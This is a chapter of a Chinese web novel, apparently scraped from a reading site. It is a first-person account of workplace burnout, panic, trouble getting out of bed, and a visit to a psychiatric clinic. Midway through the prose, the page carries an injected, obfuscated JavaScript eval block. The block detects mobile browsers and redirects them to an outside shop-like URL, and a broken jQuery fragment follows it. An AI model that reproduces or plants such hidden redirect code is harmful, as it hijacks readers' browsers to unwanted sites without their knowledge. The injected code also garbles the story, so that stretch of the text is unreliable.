默认冷灰
24号文字
方正启体

5. 回忆:去看心理科

作者:石苔本书字数:K更新时间:
    5


    投简历对方连消息都不点开,我再次感到恐慌。这是无法疏解的恐慌。


    HR的行为十分正常。学历、履历、工作年限、项目经验、年龄、性别,各个方面,我都不尽如人意。而且我只投了三家,抱着一击必中的幻想。可心里好似平地刮起一阵风,空落落的。我开始不可抑制的心悸和恐慌,惴惴不安的状态,贯穿了整个面试过程,直至拿到offer也没有缓解。


    我意识到不对劲,尤其我已开始吃药。


    新年开工不久,公司接了一个繁重且紧急的优化工作。对方项目亟需上线,可打开关卡都费劲。开春的时候,我已不堪重负。第一波在看似不可能的情况,大伙把各项数值优化到合同标定的范围,老板看到可行性,又接下了第二轮。这个期间我每天加班到很晚,回家还要遛狗做饭,余下的时间,全部用来睡觉都觉得荒唐。现在回过头来,才意识到第二天居然还要按照正常时间上班。加班没有加班费,调休也不存在。当天加班超过晚上十点,公司支付计程车费,员工第二天可晚一些到岗,这本是互联网公司的防猝死公约。


    我不大回想得起那周的具体情形。只记得周一早上七点醒来,有足够的时间洗澡,却迟迟没能从床上起来。


    工作之外的时间,尤其是周末,我的状态格外不好。印象中,有周六下午才去菜市场采购的我,有周日晚上把才把家里打扫干净的我,也有周一赶在出门前把自己收拾整齐的我。


    我趴在床上刷短视频,期许自己能好受些,有了动力,再从床上起来。不记得从什么时候起,睡醒之后,感觉很寡淡。我不记得梦里有什么,却无比怀念将醒未醒的那种真实自然。


    一九年再次工作,我成天听着《完全感觉Dreamer》、《Gladiator》和《天高路远》给自己打鸡血;现在,我在D站刷短视频,有概率因有所感触而行动。


    手机屏幕的微光在眼中闪烁,大脑仍在运作,身体却因久不动弹而越发不想动。一个小时过去,到了平时该出门的时间,身体仍旧保持着同一个姿势。我意识到,我起不来了。


    靠刷短视频起床的状态已经维持了一段时间,这件事的可怕之处在于,到这一刻,即使这般,也无法再将我从床上拉起。


    摁息手机屏幕,我闭上眼睛,什么都不再想。过了一会,我告诉自己,也许我今天会去看心理科。我继续保持趴着的姿势,几分钟后,掀开被子,从床上起来。一番整理后,出门前往公司。


    主程已提醒过我近来迟到有些多,可在我看来,晚到公司并无不妥。我知道自己加了多少班,非刻意迟到,心态却稍稍平衡了一些。


    我抽空浏览了各院的心理科,有的挂得满满当当,有的还剩几个余号。


    人都希望自己能够尽快恢复。至少我是这样。不说时刻保持高效率,我认为自己能如常态一样工作就行。


    人对他人的包容有限,对他人的理解有限。身体上的病不敢生,心理上的病甚至见不得光。人只有在完全没有办法的情况下,才会尝试接受生病这个事实。但凡有一点办法,就会继续假装正常,而不是求救。


    吃过午饭,我没有立即返回楼上。公司午休时间有九十分钟。我呆过午休一个小时的公司,也呆过从两个小时减为一百零五分钟的公司,已见怪不怪。虽然加班多,老板为了保证八小时工作制,把下班时间从六点改为六点半,已有数月。即使大家只在项目之间的空窗期按时下班。相应地,但凡项目进行中,虽无急项,大伙离开的时间也从六点半起延到了七点后。


    办公楼旁边就是一个人工湖,据说晚上七点会有彩色喷泉,在泽铯上班一年多,我只见过一次。坐在花坛边,春天的阳光谈不上多温暖,从稀疏的枝桠照到头顶的棒球帽上,混着几天没洗的头油,微微有些发热。身上也裹着不适。


    刚刚在餐厅,我没有把饭吃完。通常情况下,点完餐,顾客从电子公告牌获悉取餐信息。这家餐厅的特色是,确认订单即通知取餐,许是担心真实的备餐时间不好看;在餐点确切备齐后,再用嗓子喊号。可这样,未做好不知是尚在准备,错过了又不知餐已备好。


    我以为增设电子公告牌就是为了餐点备齐后方便顾客取餐。这家餐厅如此行事,原本的意图达不到,我作为顾客,认知也被扭曲。我在官方应用上投诉过一回,总部送了我一张券,之后再和同事到店,一切回归正常。这一次,我远远看到电子板过号便去柜台,却被告知餐点仍在准备中。


    我继续在应用上投诉。开始用餐不久,工作人员送来一份甜点。她很小心温和地和我解释:“不好意思,让你久等了。这份甜点是我们的一份心意,希望你不要介怀。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301280|198639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我没有应对人的精力。之所以投诉,并不是相信问题可以解决,有几分愤慨,却也无奈。投诉只为消解情绪,我理解餐厅为何如此做,却仍因觉得不对而难以接受。我不想做情绪的囤积狂,因为我十分清楚如此做的后果:终有一天,情绪会群起而攻之,将我整个吞噬。


    “你怎么知道是我?”


    “柜台的阿姨记得你有去问过。”


    “我不需要。你打扰到我用餐了。”


    她觉得更抱歉了。


    我顿时哑然。我并非因为想吃饭而吃饭,人得吃三餐,不吃午餐,下午肚子会饿;午餐时间过长,还会影响到午休。我不再因吃饭而开心,我仍期待午休,只因可以稍稍喘息。


    我失去了所有情绪,我不想做出回应。


    吃饭被打断,我意识到自己无法继续。身处在这个环境让我觉得灵魂出窍,我得离开这里,我告诉自己。我起身离开座位,径直走了出去。


    我很喜欢阳光,孩童时便如此。我喜爱坐在窗边,读书时便这般。可泽铯的工位对面,常年垂着遮阳的卷帘。一年四季,既无微风拂面,也无照到身上的暖意。唯有狂风暴雨骤起,人身处高楼隔着玻璃听不到声响却亲眼目睹,这才意识到自然仍在运作,凭空生出违和。


    湖面在太阳的直射下波光粼粼,我低下头,闭上眼睛,双手捂住口鼻,紧紧呼吸数次。还是得去医院看心理科,我对自己说。睁开眼睛,我深深呼吸一口气,拿出手机在精卫挂号,和领导请了下午的假。


    投简历时因无人理会产生的恐慌,让我决定停药。从春天到夏天,用药不足三个月。只第一次问诊聊了半个钟头,之后则是定期取药。与等号时其他人的面诊时间相比,可谓神速。


    都说清官难断家务事,我没有倾诉的欲望,亦不渴望被人理解。医生没有给我下诊断,我也未看到病历。我的诉求是吃药缓解无法起床的困难,我希望医生能多说一些,可她若是不言语,也在常理之中。医患问题向来动辄得咎,心理治疗更是多一事不如少一事。


    很早之前,我就不愿受到他人影响。医生不能对病患投入感情,相应地,我也不愿对医生抱有依赖之心。如果她人具备让我回生的本领,那也势必拥有令我赴死的能力。


    只是,回想起第一次面诊时医生抑不住地叹气,我所背负的巨石,稍稍有些松动。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)